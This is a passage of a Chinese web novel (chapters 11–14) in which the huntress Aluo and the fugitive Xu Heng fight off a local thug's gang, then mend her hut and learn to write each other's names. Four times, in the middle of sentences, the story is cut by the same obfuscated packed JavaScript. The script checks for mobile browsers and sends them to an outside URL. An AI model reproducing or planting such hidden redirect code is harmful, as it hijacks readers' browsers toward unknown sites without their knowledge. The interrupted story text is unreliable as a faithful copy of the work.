赵虎的骂声传来:“阿萝!你敢动手!老子今天……” 第二箭擦着他头顶飞过,钉在身后的树上。 “再往前一步,你试试。”阿萝的声音冰冷清晰。 下面静了一瞬,然后赵虎吼起来:“她就一个人!从两边包上去!” 脚步声分散开来。 徐珩从门缝往外看,至少有三个人正从左右两侧迂回,他回头看向阿萝:“你守后窗,我守前面。” 阿萝点头,没有多余的话。 徐珩提起柴刀,悄无声息地挪到前门边。 左侧传来踩断树枝的声音,透过门缝,一个矮胖汉子正猫着腰往这边蹭,手里提着粗木棍。 徐珩没有犹豫,他猛地拉开门闩,在门打开的瞬间,刀锋已经劈了出去。 这一刀又快又狠。 矮胖汉子还没反应过来,肩膀上就传来剧痛,他惨叫一声,手里的木棍掉落,人踉跄着倒退。 徐珩紧随其上,刀背狠狠砸在他后颈,力道控制得刚好,人应声倒地,昏了过去。 整个过程不过瞬息。 右侧的地痞刚好翻过院墙,看见这一幕,愣住了。 徐珩转过身,柴刀在手,眼神冷厉如军中临敌,那地痞被他气势所慑,一时间竟呆住了,既不敢上前,也忘记了后退。 但后面的脚步已经逼近,徐珩听见阿萝在后窗那边的动静,担心赵虎带人翻进来。 他正要回身去帮,前门方向又冲进来两个人,挥舞着柴刀木棍一类的东西,砸向他的后背。 正在回身躲闪的阿萝突然瞥见这一幕,吓得惊叫起来,“阿珩!” 徐珩早已发现,顿步侧身避过第一刀,反手一刀斩向对方的木棍。柴刀是磨过的,刀刃锋利,木棍应声而断。那人一愣,徐珩的刀已经架在他脖子上。 “退。”徐珩只说了一个字。 那人僵住了,手里的半截木棍掉在地上。 但另一个人已经扑向阿萝那边。屋里空间狭小,阿萝的弓箭失了优势,正和一个汉子周旋。 赵虎从破窗爬进来一半,看到徐珩,嗷地鬼叫起来,“小娘皮,养野男人!”同时伸手去抓她的脚踝。 “阿萝!”徐珩吓得喊了一声。 阿萝听见他的声音,一脚踹开眼前的汉子,反身去对付赵虎。但她毕竟没有正经练过武,力气也不如男子,被赵虎抓住手腕,眼看就要被拖过去。 徐珩想冲过去,但面前还有两个人拦着。 他深吸一口气,手中柴刀横扫,逼退一人,然后猛地将刀掷出,刀旋转着飞向赵虎。 赵虎听见风声,下意识松手躲闪,柴刀擦着他手臂飞过,钉在墙上,刀身嗡嗡震颤。 这一下惊住了所有人。 阿萝趁机脱身,退到徐珩身边,两人背靠着背,被五个人围在中间。 赵虎从地上爬起来,盯着徐珩,眼神惊疑不定:“小子,你是什么人?” 徐珩没说话,他手里已经没有武器,但站姿笔直,眼神沉静,那种经历过战场厮杀的气势,让几个地痞不敢轻易上前。 “虎哥……”一个地痞小声说,“这人不对劲……” 赵虎也看出来了,但他不甘心。今天带了这么多人,花了这么大功夫,不能就这么算了。 “一起上!”他咬牙,“他就一个人!抓住了,那个贱人随你们处置!” 几个地痞对视一眼,又看看徐珩,还是硬着头皮冲了上来。 混乱再起。 这次徐珩没有再留手。 他夺过一根木棍,反手就砸在最先冲来那人的膝盖上——咔嚓一声,骨头断裂的声音清晰可闻。那人惨叫倒地,抱着腿哀嚎。 第二个人的柴刀劈过来,徐珩侧身让过,一棍戳在他肋下,力道不轻,那人闷哼一声,踉跄后退。 第三个、第四个…… 阿萝在他身后,手里握着匕首,警惕地盯着赵虎。她没有上前添乱,而是守住徐珩的后背,不让任何人绕后。 这就是常年狩猎练出的本能,她知道什么时候该进,什么时候该守。 很快,地上就倒了三个人,剩下两个地痞看着徐珩,手里的武器都在发抖。 赵虎脸色铁青,他没想到这个看起来斯文的男子,动起手来这么狠辣。 “你……你到底是谁?”他声音发颤。 “不是你说的吗,阿萝养的野男人。”徐珩懒懒地答了一句,认下了从属的身份,他丢掉手里的断棍,从墙上拔出那柄柴刀,一步步走向赵虎。 刀尖还在滴雨。 “今天的事,”徐珩开口,声音平静得可怕,“到此为止,你带着你的人走,我不追究。” 赵虎咽了口唾沫,他想说硬话,但看着徐珩的眼睛,话到嘴边又咽了回去。 那双眼睛里,有他没见过的东西,平静,但有血气。 “你……你知道我舅是……”他还在挣扎。 “我知道,”徐珩打断他,“张书吏,县衙的,但你要想清楚,今天你要是死在这儿,你舅舅敢不敢来这深山老林查?查到了,敢不敢报上去?” 他顿了顿,刀尖抬起:“毕竟,私闯民宅,意图不轨,死了,也是白死。何况,群山茫茫无际,他知道你死在哪处?” 最后几个字,他说得很轻,但赵虎听懂了。 这山里死个人,跟死条野狗没什么区别,就算他舅舅想查,也查不出什么。更何况……眼前这个人,真敢下手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251274|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷汗混着雨水,从赵虎额头上流下来。 “虎哥……咱们……”一个还能动的地痞小声说,“先走吧……” 赵虎咬了咬牙,终于点头:“走。” 几个地痞如蒙大赦,互相搀扶着往外退,赵虎走在最后,临出门前,回头看了徐珩一眼。 檐下的男人身形算不上魁梧,但是他就这么站着,却好像能顶住这屋檐,仿佛只有他在,这屋子就不会塌。 门重新关上,屋里瞬间安静下来,只剩下雨声,和两人的喘息声。 阿萝靠在墙上,手里的匕首哐当一声掉在地上,她这才发现,自己手臂上有一道口子,正在渗血。 徐珩立刻走过去,握住她的手臂,“伤着了?” “没事。”阿萝摇头,但脸色有些白,“皮外伤。” 徐珩没说话,转身去拿药罐,阿萝看着他翻找的背影,忽然开口:“徐珩。” 徐珩的手顿住了,他转过头。 阿萝看着他,眼睛却显得有些恍惚,像是无意识地呢喃,“刚才……谢谢你。” 徐珩心里有什么东西轻轻动了一下,他走回来,蹲下身,小心地帮她清理伤口、上药、包扎。 动作很轻,和刚才的狠厉判若两人。 “谢谢你。” 徐珩摇摇头,握住她的手腕,她的手腕那样细,握在他宽大掌心里,显得那样的脆弱,“别说这样的话,要不是你,我早就死了。” 被他这么一提,阿萝似乎从刚刚的惊吓中缓了过来,要不是当时的一点恻隐之心,今日她又如何呢? 她笑了一下,那笑意很淡,却驱散了眼底仅剩的那一点余悸。然后,那只没有被握住的手探向自己腰间摸索了一下,拿出一个东西,塞进徐珩握着她的那只手的手心里。 触手温润,甚至还带着她的体温。 徐珩低头一看,果然是他的随身玉佩。 “我当初救你……全是因为它,现在你救了我,还给你了。”其实并不是因为它。 徐珩手掌托着玉佩,脸上的温柔并未散去,反而更深了些,“无论是因为什么,我的命是你救的,这是事实,这个玉佩,就送给你了。” 她是从怀里拿出来的,说明一直以来,她都贴身带着。 这个认知,比任何的感激都更让他心头发热,感到一种难以言喻的愉悦和满足。 她并非全然不在意,不是吗? 玉佩被递回来,但是阿萝却不肯要,“这么贵重的东西,这里用不上,你带着吧。” “那也留着。”徐珩坚持,语气温和却不容拒绝。 “不要。”阿萝也固执起来,想把手抽回来。 徐珩像是要跟她僵持到底,握着她手腕的力道紧了紧,不会弄疼她,却也不让她挣脱,“留着。” 两个人就这么僵持着,一个屈膝靠墙坐在地上,一个抵着对方膝盖蹲着,一个非要给,一个偏不要。 最后还是阿萝先败下阵来,倒不是被说服了,而是实在受不了这无意义的拉锯,也受不了身下的冰冷。 她微微挣扎了一下,带着点恼意和无奈,“哎呀你先扶我起来,地上冷。” 徐珩这才恍然,连忙松开她的手腕,双手用力,小心翼翼地将她从地上扶了起来,又仔细拍掉她身上沾的泥土。 “你坐着,我来收拾,马上就好。”家里一片狼藉,徐珩先把桌凳堆到角落里,再收拾地上的木屑和血迹。 至于门和窗,他觉得应该加厚。 12. 第 12 章 阿萝恢复得很快,屋外的雨还没停,她就已经准备生火做饭了。 徐珩怕她牵动伤口,不让她动。 但是阿萝却摇摇头,“一点小伤,算不得什么。”何况,她绝不能因为有了另一个人的存在,而放纵自己脆弱。 她没那么柔弱,也绝不能柔弱,否则,她要如何继续一个人活下去? 她伤臂虽然动作迟缓了些,但是配合另一只手,很快就生起了火。 在徐珩震惊的注视下,阿萝已经把锅放到火塘上了。 “我来!”在她去舀水之前,徐珩终于反应过来,抢在了前面。 火焰在锅底燃烧,米在锅里翻腾。 徐珩的目光又一次转向阿萝的脸庞,把内心的疑问宣之于口,“阿萝,你之前可受过什么伤?” 他的语气很肯定。 他不傻,看她刚刚的反应,他很清楚地知道她曾经自己带着伤挣扎过,甚至是很严重的伤。 无端的,阿萝觉得自己的两只眼睛同时被松针击中了,有点刺痛,又有点酸涩,笑问:“你说哪次?” “有很多次吗?”徐珩眼中亦是一酸,身子不自觉朝她的方向倾了倾。 “在山里讨生活,哪有不受伤的。”阿萝往火塘里添柴,恢复云淡风轻的样子。 “那……”急切的话差点脱口而出,好在神智及时拉回,徐珩重新措辞,“那……你为什么不离开?” 阿萝看向他,神情既疑惑又好笑,“离开?去哪里?” “山下,或者是……天大地大,总有容身之处的。” “山下……”阿萝像是听了什么荒唐话,欲言又止,“其他地方真的会比这里好吗?我不觉得……我在这里生活这么多年,习惯了,不想走了。” 山下有赵虎,还有那些认为她命硬克死双亲的人…… 至于其他地方……她一个孤女,流落他乡,更是成了任人掠夺欺凌的对象,对她来说,这里确实是最合适的。 山林确实危机四伏,但同时也是她的保护屏障。外人进不来,而她,经过多年的摸索适应,早就已经学会怎么和山林共生了。 只是……他心疼。 “那个赵虎还会来的吧?”他问。 “嗯,”阿萝盯着火焰,神情很沉静。 但是徐珩却很忧心,“这次阵仗比上次大那么多,下次……下次他会怎么做?”赵虎明显是盯死阿萝了,得不到,他注定寝食难安。 至于原因,徐珩都不用想,就像侯府的人想让他死,赵虎想要阿萝,理由从来都不重要,重要的只是想不想要,以及他们认为自己能不能要。 瞧他忧心忡忡的,阿萝问:“你怕他吗?” “我是怕你!”话已出口,徐珩才觉得不对。 一时间,屋里只剩下柴火噼啪燃烧的声音。 徐珩脑子空白了片刻,才开始慢慢运转,他避开阿萝的目光,声音有些干涩,“……我的意思是,万一我走了,他再来你一个人应付不了怎么办?” 阿萝好像没有觉察出他刚才脱口而出的担心,安静地等着,听他解释完,才淡淡道:“会有办法的。” 徐珩一噎,所有的情绪都被挡在胸腔里。 会有办法的……也不知道她是在骗他还是在骗自己。可是,没有办法又能怎么样呢?她还有选择的余地吗? 或许,她曾经就这样骗过自己。靠着欺骗自己,积攒面对丛林的勇气,一次次活了下来。 他刚刚不该顾忌太多!一会儿担心吓着她,一会儿忧虑众目睽睽给她引来更大麻烦,他该一刀杀了赵虎的! “你要走了吗?”阿萝忽然抬起下巴望着他,嘴唇微微向两侧扯动,似是轻松平常。 雨还在下,敲打着屋顶,声音单调而持续。 徐珩也望着她,见她故作轻松的神情,忽然生出一种无力感。他想保护阿萝,想为她做点什么,但发现无论他走还是留,似乎都改变不了什么。 他留下,会引来更危险的追兵,让阿萝陷入更大的麻烦。 他离开,赵虎会立刻卷土重来,而阿萝只能一个人面对。 进退两难。 “你想我走吗?”徐珩忽然问,明黄的火光在他眼里跳动,像夕阳下的湖泊。 阿萝心头蓦地一跳,脑子里忽然有什么东西炸开了,哗然作响。 他这么问是什么意思?试探?还是…… 还没等大脑想出个所以然来,阿萝就听到自己的回答了。 “不想。” 两个字。 简单,直接,没有任何修饰。 徐珩的心“咚”的一声,像是被突然敲响的大鼓。 “但你应该走,”阿萝眼睑一垂,语气恢复了平静,“那些追兵比赵虎危险,他们要是找来了,我们两个都活不成。” 她说“我们两个”。 不是“你”,也不是“我”,是“我们两个”。 “何况,你娘还在等你。”她说着,尾音竟带着一丝丝他从未听过的叹息。 “我不走。”徐珩的心忽然定了下来。 阿萝愕然抬眼,“什么?” “我走了,你一个人对付不了赵虎,”徐珩继续说,“我留下,至少赵虎不敢轻举妄动,至于那些追兵……” 他顿了顿:“他们没那么容易找到这里,就算找到了,我们也会有办法的。” 阿萝看着他,望着他的眼睛,心下一片摇曳,“你不是还要报仇吗?”被害那么惨。 “君子报仇,十年不晚嘛。”徐珩找了个理由,既骗阿萝,也骗自己。 “那你娘呢?” “我会去接她的,但不是现在。” “那是什么时候?”阿萝像是审讯一样,不依不饶地追问。 “至少等你这里安定些了。” 阿萝闻言,起身去拿碗筷,“这里不会有安定的时候,也用不上你,我一个人可以的。” 徐珩跟着她,凭借着身高优势直接从她身后探出手,取下勺子,“我知道,但是我也绝不可能在这种情况下丢下你一个人一走了之,安定么,总会有的。” 徐珩说着,从她手里拿碗,分别给两个人盛了饭。 他现在做这些倒是越来越顺手了。 “你会死吗?”那些人追来之后。 “应该不会吧,”徐珩故意蹙眉做出思考的样子,“我命硬,挨了几刀没死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251275|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在水里泡了那么久漂了那么远也没死,说不定,我能一直活下去。” 阿萝看着他,看了很久。然后,她将碗放在膝上,拿起了筷子,“先吃饭。”天塌不下来。 两个人安静地吃完饭,雨逐渐停了。 屋外山林,潮湿一片,本就半枯黄的草木更显凋零和萧瑟,衰眉耷脸地依附在连绵的大山上。 站在门口的阿萝转过身,看着破烂的门户,“窗户要修,门要补,赵虎今天吃了亏,暂时不会来,但我们得抓紧时间。” “好。” 两人分工合作,徐珩找来木板和钉子修补窗户,阿萝打水擦洗溅在门板和柱子上的血迹,动作麻利,配合默契。 谁也没再提走不走的事。 天色慢慢变暗、变黑,山林寂静。 修好最后一扇窗户,徐珩直起身,揉了揉发酸的肩膀,阿萝已经把门板上的血迹擦洗干净,正在火塘边烧水。 火光映着她的侧脸,柔和而温暖。 “喝点热水。”她把一碗热水递给徐珩。 徐珩接过,两人并肩坐在门槛上,看着外面的夜色。 雨停了,云层散开,露出半轮月亮,月光洒在湿漉漉的山林上,泛着清冷的光。 “明天会放晴。”阿萝说。 “嗯,”徐珩点头,“天晴了,路就好走了,那些追兵,也可能快到了。” 阿萝没说话,她捧着碗,看着月亮。 过了一会儿,她才轻声说:“那就来吧。”语气平淡从容,胜过刚刚“天会放晴”那句。 徐珩转头看她。 月光下,她的侧脸轮廓清晰,眼神平静而坚定。 一个在山林里独自活下来的女子,面对过野兽,面对过饥饿,面对过人心险恶。 现在,她又要面对更凶险的敌人。 但她似乎没有害怕,她只是握紧了手里的碗,像握着一把刀。 “阿萝。”徐珩开口。 阿萝转过头。 “我会保护你,”徐珩说,声音不大,但每个字都钉在地上,“用我的命。” 阿萝看着他,月光在她眼里浮动。 阿萝没有回应他的话,站起身来,“早点睡吧,明天还有很多事要做。” 徐珩张张嘴,想说什么,但最终还是没说出来,只是跟着站起来进屋,顺手将门关上。 两人各自躺下,油灯吹灭了,屋里一片黑暗。 只有月光从修好的窗户缝隙漏进来,在地上投出几道细长的光斑。 徐珩躺在草铺上,睁着眼睛。 他听见阿萝在另一侧翻身的声音,听见她轻轻的呼吸声。 忽然,他开口:“阿萝。” “……嗯?” “如果这次我们能活下来,”徐珩顿了顿,“等我把我娘接出来,安顿好了,我就带她来见你。” 黑暗里沉默了很久。 然后,阿萝的声音伴着翻身的动静传来,带着一丝不易察觉的波动:“好。” 徐珩闻言,忍不住在床铺上翻了几次身,恨不得插上翅膀飞到京城去,将母亲接过来。 窗外,月亮越升越高,山林沉睡,万籁俱寂。 13. 第 13 章 第二天清晨,雨彻底停了。 徐珩推开门,天空洗过一般的蓝。阳光斜照进院子,地上的水洼映着光。山林蒸腾起薄薄的白雾,鸟鸣清脆。 一切都恢复了宁静,仿佛昨日的混乱从未发生。 但院子里残留的打斗痕迹、修补过的窗户、门板上新钉的木板,都在提醒着他们,风暴只是暂时过去。 阿萝起得更早,已经在火塘边忙活了。锅里煮着粥,她手里拿着一根木炭,在平整的泥地上画着什么。 徐珩走过去,看见地面的泥地上画着几道歪歪扭扭的线条,像字,又不太像。 “在写什么呢?”他问。 阿萝抬起头,手里的木炭杵在泥地上:“……想写你的名字。” 徐珩心弦被什么拨了一下。 “你教过我几个字,”阿萝指着地上的痕迹,“山,水,火,月,但你的名字……怎么写?” 她歪着头,眉头微微皱起来,露出少有的疑惑的神情。 他在她身边蹲下,“……你为什么想知道我的名字?” “就……好奇。”阿萝说着,将脑袋埋在膝盖间。 “我教你。”他接过木炭,火塘边地方不大,他只能稍稍靠后,左边的肩膀与她右肩重叠。 泥板很平,表面粗糙,木炭划上去发出沙沙的声响,徐珩写得很慢,一笔一画。 徐珩。 两个字,端正清秀。 阿萝低头看着,看了半天,然后她伸出手指,沿着他写下的笔顺,轻轻描摹那两个字。 “徐,”她念出声,手指停在第一个字上,眼睛飞快地瞥他一眼,“这个字……像一个人背着东西?” 徐珩笑了:“是双人旁加一个余,余是我的意思,双人旁……算是表示行走。” 阿萝似懂非懂地点点头,手指移到第二个字:“珩。” “这个字复杂些,”徐珩指着笔画,“是玉字旁加一个行,珩是一种玉,古时候佩玉最上面的横玉,叫珩。” “玉……”阿萝重复着这个字,忽然想起什么,“你带着的那个?” 徐珩点点头:“比这个更珍贵,珩玉是礼器,祭祀、朝会时用的。” 什么礼器朝会? 这些词阿萝听不懂,她蹲在地上,看着泥地上的字,沉默了一会儿。 “谁给你取的?”她问。 “我娘,”徐珩的声音低了些,“她说……希望我能像玉一样,清白端正。哪怕生在泥里,也要活得干净。” “她怎么知道这个字?”阿萝问,“她……识字吗?” 徐珩摇头:“不识字,她是洗衣婢,连自己的名字都认不得。这个字……是她去佛堂送衣服时,听见一个老嬷嬷念经,里面有个‘珩’字。她问那是什么意思,老嬷嬷说是好玉。她就记下了,我父亲也不在意,名字就定了。”然而在京城的勋爵人家中,孩子的名字是大事,要仔细斟酌的。 他说得很平静,但阿萝听出了里面的酸涩。 一个不识字的母亲,在给别人送衣服时,偷偷记下一个好听的字,给自己儿子做名字。 那得是多深的期盼,多卑微的愿望。 “你娘……肯定很疼你。”阿萝最后说。 “是,”徐珩点头,喉咙有些发紧,“但她性子太弱了,护不住我。” 粥煮好了,咕嘟咕嘟冒着泡,阿萝站起身,去盛粥。徐珩也跟着站起来,用脚抹平了泥地上的字迹。 两人坐在火塘边吃早饭,还在燃烧的火将两个人烤得暖洋洋的。 “阿萝,”徐珩忽然开口,“你的名字怎么写?” 阿萝捧着碗,愣了一下:“我……不知道。” “没写过?” “没,”阿萝摇头,“我爹我娘也都不识字,听我娘说,我是在山洞里剩下的,那个洞口爬满的藤萝,所以我爹就给我取名叫阿萝……”至于怎么写,谁在乎? 徐珩放下碗,从火塘边捡了根细柴,在脚下的泥土上划起来。 阿萝。 两个字,比刚才的字简单些,但笔画清晰。 “阿,”徐珩指着第一个字,“是称呼,在我们那儿,一般亲近的人都这么叫,萝……”他顿了顿,“这就是藤萝的萝……生在岩壁之上,想来应该生命力极强,是个很好的名字。” 阿萝低头看着泥土上的字,看了很久。 然后她伸出手,学着他刚才的样子,用手指在字迹上描摹,一遍,又一遍。 “原来……是这样写的。”她轻声说。 徐珩看着她专注的侧脸,忽然问:“你想学写字吗?我说的是长时间的,认很多字的那种。” 阿萝抬起头,眼睛亮了亮,但很快又暗下去:“学来做什么?山里用不上。” “用得上,”徐珩说,“认识字就能认识药名,就能看懂药方,认识地名,能看懂地图,认识字……就能看懂别人写的东西,知道他们在说什么,想什么。”之前教她只是随意为之,谁也没放在心上,过了两个人都忘了。 但是现在,他想教她。 他其实也不确定到底有没有用,但是他就是想教,好像这样一来,阿萝身上就有了他的痕迹。 阿萝看着他,沉默了片刻。 “那……”她迟疑着,“难吗?” “不难,”徐珩说,“我教你。” 早饭过后,两人没有像往常一样去干活。 阿萝找来一块更平整的石板,徐珩用木炭在上面写了十几个简单的字:花,鸟,火,木,草,药,人,家…… 都是山里最常见的东西。 他一个字一个字地教,怎么读,怎么写,什么意思。 阿萝学得很认真,眼睛盯着地上,手指在空中跟着比划。 她的记忆力很好,教一遍,就能记住读音和意思。写字慢些,但笔画准确,只是手有些抖,做不到横平竖直。 常年握刀握弓的手,突然要握住无形的笔,需要适应。 “慢慢来,”徐珩说,“写字和射箭一样,要找到感觉。” 阿萝点点头,继续练习。 阳光从院子东边移到头顶,地上的字写了一行又一行,阿萝的手渐渐稳了。 写到“家”字时,她忽然停住。 “这个字……”她看着石板上的笔画,“是屋子下面有猪?” 徐珩愣了愣,然后笑了出来:“是,阿萝真聪明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260424|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,古时候,有房子,养着牲畜,就是家。” 阿萝被他突如其来的夸奖弄得有些不好意思,忽然又落寞起来。 “我没有家,”她说,声音很轻,“这屋子是爹娘留下的,但他们不在了,所以……这不是家。” 徐珩的心揪了一下,他知道阿萝说的是什么意思。 家不是房子,是里面住的人。 “以后会有的。”徐珩最终说。 阿萝不置可否,只盯着那个字发愣。 “等你有了想一起生活的人,等你……”徐珩顿了顿,“等你不再是一个人的时候,这里就是家。” 阿萝没说话,她低下头,继续写字。 她今天一天都没有出去,过去这么多年,这是第一次这么清闲,但是不知道为什么,她心里并不高兴。 徐珩又在地上写了几个字,但是阿萝已经没有了刚才的兴致。 学字需要很长的时间,但是这个人,迟早要走的。等追兵的事过去,等他的伤好全,他就会离开这片山林,回到那个她完全陌生的世界。 他不会在这里待太久,或许就这两天。 到那时,这个屋子又会只剩下她一个人。 这个认知让她胸口发闷,像压了块石头。 下午,两人去林子里布置陷阱。 不是捕猎的陷阱,是防人的,绊索,陷坑,警铃。 阿萝熟悉地形,徐珩则则更知道如何拦人,两人配合默契,但话比平时少。 阿萝走在前面,目光锐利地扫视着小屋周围的地形。哪里是进山的必经小路,哪里视野隐蔽适合埋伏,哪里地形狭窄利于限制行动,她心中如同有一幅清晰的地图。 徐珩跟在她身后,看着她冷静分析地形的侧脸,心中既钦佩又沉重。 她太熟悉这里了,熟悉到仿佛每一棵树、每一块石头都能成为她的武器和盾牌,这种熟悉,是多少次独自面对危险、用伤痛和警惕换来的? 他没有多问,只是默默从旁辅助。 阳光透过树叶洒下来,在地上投出斑驳的光影,林子里很静,只有工具碰撞的声音。 “这里要深一点,”徐珩指着刚挖好的坑,“至少齐腰深。” 阿萝点点头,继续往下挖,泥土湿润,带着落叶腐烂的气息。 她挖得很用力,一锹接一锹,像要把心里那点说不出的情绪都发泄出来。 徐珩在旁边削木刺,偶尔抬头看她一眼,他看得出她有心事,但是他却不知道该怎么问。 有些话,问出来反而尴尬。 最后一个陷阱布置完,太阳已经西斜。 两人往回走,林子里光线暗了,鸟雀归巢。 “如果……”阿萝忽然开口,声音很轻,“如果那些人来了,你会杀人吗?” 徐珩停下脚步,看着她。 阿萝也停下来,回望着他。 “会,”徐珩很肯定地说,“如果他们威胁到你,我会……你会怕吗?如果我杀了人,你会不会怕我?” “不会。”她回答得很轻,但也很笃定。 徐珩闻言,望着她笑了一下,没有追问为什么。 他知道她信任他,这便够了。 14. 第 14 章 回到屋子时,天已经黑了,冷风呼呼地吹着,整座山林都在喧嚣着,反倒显得屋子里很安静。 阿萝点了灯,叫徐珩关上门,“风大。” 徐珩简单检查了一下修补的门窗,才关上。 修补门窗这样的事情他也是第一次做,总觉得不放心,而且怎么看怎么不顺眼,正想着要不要拆了重来时,阿萝催他了。 “别愣着了,生火,你不冷吗?”不知不觉了,已经快深秋了。 “哦,好。”徐珩应着,立刻行动。 在这里的时间不算短了,徐珩已经学会了基本的生活技能,他熟练地拨开表层的草木灰,捅开被埋着的炭火,放入枯枝,吹了几次火就燃起来了。 他又添了几根柴,一抬头,却看到阿萝用一根树枝,从横梁上取下了风腌鸡。 整整一只。 晚餐格外丰盛。 阿萝不仅炖了整整一只鸡,还加了很多山货,蘑菇干、笋干、板栗、土茯苓等,满满一锅。 看到她整只鸡下锅,徐珩就已经够惊讶的了,见她又连续不断地加东西,加个没完,他眨眨眼,忍不住笑了出来,“你这……不知道的人还以为以后不打算过了呢。” 阿萝的生活一直都非常节俭,甚至是清苦。 她一日不歇,每天都要出门,采药、狩猎、砍柴、拾果……这是她维持生活的所有凯旋,山里收获不定,她一个人能力也有限,所以她习惯了储蓄。除了他伤重的那段时间,他们一直都只求果腹。 “天冷了,突然想吃了。”阿萝低着头,又往锅里添了点水,将锅盖上。 这是她的东西,她想不想吃其实没必要向他解释。 但是她却“多嘴”了,徐珩不去扫兴,而是兴致勃勃地盯着旺盛燃烧着的火。 很快肉香飘了出来,两个人的注意力暂时被吸引了。 山里的饮食真的太简单了,以至于就这么一锅炖肉,都让两个人欢喜不已。 一顿饭,吃的时间并平时长了一倍不止。 两个人撑得没办法坐下,站起来想走走,却发现屋内空间不够,而外面又太冷了。 没办法,两个人只能站在窗边,透过缝隙看向外面。 月色清冷,已经光秃的树木枝丫在寒风中轻轻晃动。 缓了一会儿,两个人把锅碗洗了,阿萝照例拿出药碾子捣药,徐珩坐在她对面,暂时不知道要做什么的他显得有些无所适从,像是第一次来到这个屋子一样。 火光跳跃,映着两人的脸。 “阿萝。”徐珩忽然开口。 “……嗯?” “等这事过去了,”徐珩说,“我教你认更多的字,药方,地图,还有……你想学的,我都教。” 他总是反复提及这件事,一遍又一遍,像是要确认什么。 阿萝低着头,似乎笑了一下,“知道自己的名字怎么写就已经很好了,别的……就算了吧。” 虽然学了两次,但是要记住那些字却不容易,要想学更多,需要更多的时间,她没有那么多精力,他也没那个时间。 她明明是想学的,却直接拒绝了。 徐珩一时间竟然不知道该怎么说服她。 说到底,他说的这一切,都是未来的事情。如今他们乌云压顶,将来的事情,谁说得准呢。 她不是不想学,只是不想仅仅因为他几句空话,而空怀期待罢了。 他是真的舍不得离开,但无论是他还是阿萝都清楚,他不能一辈子躲在这山林里。 他还有娘要救,还有仇要报。 他只能沉默。 两个人安静了一会儿,徐珩从怀里掏出那块玉佩,递给她,“这个,你留着。” 阿萝愣了一下,随即拒绝:“这是你的,我不要……” “我知道,”徐珩打断她,“但现在放你那儿,如果……我出了什么事,不得已的时候你就把它当了,换钱,离开这里,去别的地方生活。这个玉佩是我从军时一个长辈送的,成色很好,能换不少钱,应该够你将来生活了。” 阿萝看着手里的玉佩,又看看徐珩,眼睛微微睁大。 “你……”她张了张嘴,心里那点怅惘突然变成了尖锐的疼。 他这是在交代后事吗? “收着吧,”徐珩笑了笑,“就当……留个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270024|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念想。”这是目前他唯一仅有的,能给她的东西。 阿萝握紧了玉佩,温润的玉石贴着她的掌心,带着徐珩的体温。 她低头看着玉佩上的鸟纹,眼睛却慢慢失焦。过了一会儿,她深吸一口气,抬起头来看着徐珩,很认真地说:“那就等你回来,我再还给你。” 她语气笃定,就好像他真的回来了一样。 徐珩心中一酸,面上却露出了笑容,“好。”若是他真的回来了,他能给她的,绝不止这一个玉佩,若是不能……那她也不至于什么也没有。 夜深了,两人撤了柴火,各自躺下,月光从窗户缝隙漏进来。 徐珩闭着眼睛,却睡不着。他听见阿萝在另一侧翻身的声音,听见她轻轻的呼吸声。 忽然,他听见她开口,声音很轻,像梦呓:“阿珩。” “……嗯?”徐珩怀疑自己出现幻觉了,一时间没反应过来,“你刚刚叫我了?” “嗯,”阿萝侧过身来正对着他的方向,“你的名字很好听。” 徐珩的心轻轻一颤,他睁开眼睛,在黑暗里看向她的方向,“你的也是。” 阿萝没再说话。 但徐珩听见,她的呼吸声变得很轻,很均匀,像是睡着了。 可是他知道,她没睡。 就像他也睡不着一样,都不知道为什么。 深秋之夜,连虫鸣都没有。 阿萝久久不能入睡,躺了许久,又拥着被子坐了起来,听呼吸,她知道另一边的徐珩已经进入了梦乡。 她轻手轻脚地掀开被子起身,走到他的草铺边蹲下。昏沉的夜色下,他清晰的眉眼模糊一片。 看了片刻,她才把玉佩拿出来,掀开他被子的一角,塞到他手边。 